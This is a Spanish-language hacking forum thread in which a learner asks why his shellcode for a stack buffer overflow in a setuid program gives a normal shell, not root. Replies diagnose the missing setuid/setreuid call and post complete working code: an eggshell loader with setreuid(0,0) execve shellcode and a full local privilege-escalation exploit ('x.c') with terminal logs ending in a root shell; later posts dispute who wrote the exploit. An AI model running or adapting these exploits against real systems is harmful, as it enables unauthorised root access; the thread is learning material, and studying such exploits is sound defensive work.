Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de
Autor
|
Tema: problema con shellcode (Leído 1,433 veces)
|
neuromante
Desconectado
Mensajes: 63
|
hola amigos, estoy aprendiendo a hacer mis propias shellcodes y exploits y se me planteo un problema desde hace unos dias, el mismo todavia no lo he podido solucionar. estoy tratando de explotar el siguiente programa vulnerable:
#include <stdio.h> #include <string.h>
int main(int argc, char **argv[]) { char buffer[512];
if(argc < 2 ) { printf("Uso: %s <SuNombre>\n", argv[0]); exit(0); }
strcpy(buffer, argv[1]); printf("Tu nombre es: %s\n", buffer); return 0; }
Estoy utilizando el siguiente codigo en asm para mi shellcode:
int main() { __asm__( "xorl %eax, %eax\n" "pushl %eax\n" "pushl $0x68732f2f\n" "pushl $0x6e69622f\n" "movl %esp, %ebx\n" "pushl %eax\n" "pushl %ebx\n" "movl %esp, %ecx\n" "xorl %edx, %edx\n" "movb $0xb, %al\n" "int $0x80\n" "xorl %eax, %eax\n" "incb %al\n" "xorl %ebx, %ebx\n" "int $0x80\n" );
}
Ahora tengo los opcodes metidos en un programa que se llama eggshell, el mismo mete el shellcode en la memoria:
#include <stdio.h> #define NOP 0x90
char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1" "\x31\xd2\xb0\x0b\xcd\x80"; main() { char shell[512]; puts("Eggshell cargado en el entorno."); memset(shell,NOP,512); memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); setenv("EGG", shell, 1); putenv(shell); system("bash"); return(0); }
Ahora tengo otro mas para encontrar la direccion:
int main(void) { printf("0x%lx\n", getenv("EGG")); return 0; }
Ahora el programa vuln1 lo hice setuid:
bash-2.05b$ ls -l | grep vuln1 -rw-r--r-- 1 frode users 243 2005-02-07 12:58 supervuln1.c -rwsr-sr-x 1 root users 10874 2005-02-07 14:55 vuln1 -rw-r--r-- 1 frode users 250 2005-02-07 14:53 vuln1.c bash-2.05b$
Ahora en el momento de explotar hago lo siguiente:
bash-2.05b$ ./eggshell Eggshell cargado en el entorno. bash-2.05b$ ./eggfind 0xbffff72d bash-2.05b$ ./vuln1 `perl -e'print "A" x 516'``printf "\x2d\xf7\xff\xbf"` Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿ bash-2.05b$ ./vuln1 `perl -e'print "A" x 520'``printf "\x2d\xf7\xff\xbf"` Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿ Segmentation fault bash-2.05b$ ./vuln1 `perl -e'print "A" x 524'``printf "\x2d\xf7\xff\xbf"` Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿ sh-2.05b$
Cuando hago el overflow con 524 al parecer se ejecuta mi shell. El tema es que no se ejecuta el shell de root, al probarlo con otros shellcodes encontrados por la red funciona perfectamente y obtengo la shell de root. Alguien puede explicarme cual es el problema con mi shellcode???? Gracias y salu2 para todos
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
Estas empujando todo al stack, por lo que veo, no es que este mal, solo a mi no me gustan esas shellcodes si estas probando cosas pero bueno. Leyendo tu shellcode no veo donde haces setuid ? TIenes que tener un syscall que setee el uid a 0,, pero no veo donde llamas a setuid(creo es ), tambien puedes usar setruid...bueno en fin intenta hacerlo.
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.320
Peace & Love
|
Y usa las etiquetas de codigo 
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
xorl %eax, %eax ; 0 pushl %eax pushl $0x68732f2f" ;/sh pushl $0x6e69622f ;/bin movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx movb $0xb, %al ; execve int $0x80 ; run ; hasta aca bien pero luego ? xorl %eax, %eax ; 0 again? incb %al xorl %ebx, %ebx ; 0 ebx ? int $0x80 ; RUN ??? why ?
Hmm nunca veo que llames a setuid (la 23) o llama a setreuid(70), es sencillo, la primera de cuadra real UID, xor eax, eax y la segunda asigna real y efective user ID, el llamado es de esta int setreuid(uid_t ruid, uid_t euid); Pruebale y me dices, ademas explicame esa ultima parte del shellcode que no cogi 
|
|
|
|
|
En línea
|
|
|
|
|
Rojodos
|
Como dice heap, es mejor usar un jmp->call para tel tema de los strings. En la web, en la sección "Textos y Manuales", estan 2 textos muy buenos de RaiSe (Undersec-NetSearch) sobre shellcodes en Linux. La verdad es que algunas instrucciones sobran, y despues del int $0x80 (la llamada a la syscall) creo que simplemente copiaste los opcodes creyendo que aquello que seguia era "shellcode", pero no xD (no se si me explico) Por lo demas, heap lo ha dejado bien explicadito. Por cierto, no se porque usas un eggshell por un lado,y un findegg por otro, los eggshell que he visto, te devuelven directamente la direccion, sin tener que ejecutar otro programa. #include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }
if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_esp() - offset; printf("Using address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } [vangelis@localhost bof]$ gcc -o eggshell eggshell.c [vangelis@localhost bof]$ ./eggshell Using address: 0xbffff8f8 El que un programa sea "propietario" de root no significa que cuando lo ejecutes adquieras privilegios de root. Eso solo lo tienen los archivos SUID (o SGID para el grupo root), eso si te ceden momentaneamente los privilegios del propietario para realizar las acciones oportunas. Para ver si es un SUID: [root@localhost bof]# ls -l vul -rw sr-xr-x 1 root root Para convertirlos en SUID: chmod 4755 vul (antes tiene que ser propietario de root, cambiarlo con chown) 4 --> SUID 7 --> rwx (111) 5 --> r-x (101) Espero que te sirva. Salu2
|
|
|
|
|
En línea
|
|
|
|
HaCkZaTaN
Desconectado
Mensajes: 109
|
/* Name: 'x' >> x.c Copyright: [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/ Author: HaCkZaTaN Date: 26/01/05 16:17 Description: Local Stack Buffer Overflow */
/* Test: root@NST:/home/h4ck# ./v Uso: ./v <SuNombre> root@NST:/home/h4ck# ./v `perl -e 'print "A" x 523'` Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA root@NST:/home/h4ck# ./v `perl -e 'print "A" x 524'` Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault root@NST:/home/h4ck# mmm yo no creo que EIP se alla sobre escrito tratemos haber de otra manera -su: mmm: command not found root@NST:/home/h4ck# ./v `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"` Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Segmentation fault root@NST:/home/h4ck# gdb ./v GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"` Starting program: /home/h4ck/v `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"` Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r esp eip ebp esp 0xbffff630 0xbffff630 eip 0x42424242 0x42424242 ebp 0x42424242 0x42424242 (gdb) q The program is running. Exit anyway? (y or n) y root@NST:/home/h4ck# OK EIP Se sobre escribio ahora codeemos -su: OK: command not found root@NST:/home/h4ck#
--------------------------------------------------- bueno yo le coloque a 'v' root@NST:/home/h4ck# chmod 4755 v && chown root.root v root@NST:/home/h4ck#
h4ck@NST:~$ ./x Use: ./x <path> h4ck@NST:~$ ./x /home/h4ck/v
[+] 'x' >> x.c Local Stack Buffer Overflow (Proof of Concept) [+] by HaCkZaTaN <hck_zatan@hotmail.com> [+] [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/ [+] Ret: = 0xbfffffd1 [+] Shellcode : 29 [+] Waiting............ Tu nombre es: Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ø sh-3.00# id uid=0(root) gid=100(users) groups=100(users) sh-3.00# */
#include <stdio.h> #include <strings.h> #define BUFFER 524 + 1
char shellcode[]= /* Shellcode by HaCkZaTaN */ // setuid(0) "\x31\xdb" //xor %ebx,%ebx ; 0 "\x53" //push %ebx "\x8d\x43\x17" //lea 0x17(%ebx),%eax ; SYS_setuid "\xcd\x80" //int $0x80 ;kernel //execve() "\x99" //cltd "\x68\x6e\x2f\x73\x68" //push $0x68732f6e 'hs/n' "\x68\x2f\x2f\x62\x69" //push $0x69622f2f 'ib//' > /bin/sh "\x89\xe3" //mov %esp,%ebx "\x50" //push %eax "\x53" //push %ebx "\x89\xe1" //mov %esp,%ecx "\xb0\x0b" //mov $0xb,%al ; SYS_Execve "\xcd\x80"; //int $0x80 ;Kernel
int main(int argc, char *argv[]) { char *env[3] = {shellcode, NULL}; char buf[BUFFER], *path; int *buffer = (int *) (buf); int i, ret;
if(argc != 2) { printf(" Use: %s <path>\n", argv[0]); exit(0); }
path = argv[1];
ret = 0xbffffffa - strlen(shellcode) - strlen(path);
for(i=0; i<=BUFFER; i+=4) *buffer++ = ret;
printf("\n[+] 'x' >> x.c Local Stack Buffer Overflow (Proof of Concept)\n"); printf("[+] by HaCkZaTaN <hck_zatan@hotmail.com>\n"); printf("[+] [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/\n"); printf("[+] Ret: = %.8p\n", ret); printf("[+] Shellcode : %d\n",strlen(shellcode)); printf("[+] Waiting............\n");
execle(path, "v", buf, NULL, env); }
Salu2!!
|
|
|
|
|
En línea
|
|
|
|
neuromante
Desconectado
Mensajes: 63
|
Muchas gracias por todas sus respuestas, la verdad me sorprendio la atencion que le pusieron a mi pregunta y se los agradezco mucho. En este momento voy a probar lo que me dijieron, pero la verdad creo que con todo esto quedo mas que claro el tema. La verdad no sabia que tenia que llamar a setuid() en el shellcode y seguro que es por eso que no funciona. agradezco a heap porque la verdad me quedo todo claro lo que dijo, gracias man  .Te explico que despues del primer int 0x80 que es el que llama a execve no deberia haber nada estoy de acuerdo. En una de las pruebas que hice trate de meterle un exit(0) despues de la ejecucion del shell, se ve que el codigo que pegue estaba con eso, pido disculpas eso no va. Para Crack_X y su "Y usa las etiquetas de codigo" no entendi a que etiquetas hacia referencia. Gracias a Rojodos por el codigo expuesto y la explicacion dada. En fin salu2 para todos y hasta pronto.
|
|
|
|
|
En línea
|
|
|
|
HaCkZaTaN
Desconectado
Mensajes: 109
|
De nada
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
una pregunta acerca del code de hackzatan.
execle(path, "v", buf, NULL, env);
Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.
Además, no entiendo por qué pasa el parámetro NULL.
Saludos.
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
heap
|
una pregunta acerca del code de hackzatan.
execle(path, "v", buf, NULL, env);
Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.
Además, no entiendo por qué pasa el parámetro NULL.
Saludos.
nada path es el argv[1], no recive argv[0], en este caso nuestro amigo hackzatan a logrado copiar otro codigo, y lo modifico para hacerlo parecer que es de el, no hay necesidad de poner ese path = argv[1], pero bueno igual ese code es un RIP OFF al igual que el shellcode, la mayoria de codes de hackzatan que he visto lo son. Porque NULL ? mira man 2 execle, cada array del entorno debe ser terminado con un NULL pointer, igual y puedes poner un 0 si te gusta. bye, y no es por molestar a hackzatan, porque me cae bien, pero no se ve bien eso de ligeramente modificar algo y atribuirselo.
|
|
|
|
|
En línea
|
|
|
|
neuromante
Desconectado
Mensajes: 63
|
gracias HaCkZaTaN, perdon por no haberte nombrado. tambien fuiste de gran ayuda. salu2
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
una pregunta acerca del code de hackzatan.
execle(path, "v", buf, NULL, env);
Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.
Además, no entiendo por qué pasa el parámetro NULL.
Saludos.
nada path es el argv[1], no recive argv[0], en este caso nuestro amigo hackzatan a logrado copiar otro codigo, y lo modifico para hacerlo parecer que es de el, no hay necesidad de poner ese path = argv[1], pero bueno igual ese code es un RIP OFF al igual que el shellcode, la mayoria de codes de hackzatan que he visto lo son. Porque NULL ? mira man 2 execle, cada array del entorno debe ser terminado con un NULL pointer, igual y puedes poner un 0 si te gusta. bye, y no es por molestar a hackzatan, porque me cae bien, pero no se ve bien eso de ligeramente modificar algo y atribuirselo. no me quedó muy claro eso del NULL, pero en un rato hago man y me fijo. Gracias por contestar.
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
HaCkZaTaN
Desconectado
Mensajes: 109
|
No necesito copiar codigo de nadie.
Ese codigo es el mas simple de todos por que no me toca que hacer nada. El lo hace todo por Brute Force.
Salu2!!!
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
No necesito copiar codigo de nadie.
Ese codigo es el mas simple de todos por que no me toca que hacer nada. El lo hace todo por Brute Force.
Salu2!!!
Ya we me caes bien, pero anda almenos lee el code, no es nada que tenga que ver con bruteforce, bruteforce seria si usaras NOPS pero aca le das al shellcode directamente. ret = 0xbffffffa - strlen(shellcode) - strlen(path); El codigo es muy bueno, es explotacion muy reliable, porque precisamente no hace bruteforce para encontrar el shellcode, pero no es tuyo, aunque igual te quiero hackzatan... bye......
|
|
|
|
|
En línea
|
|
|
|
|
|
|
|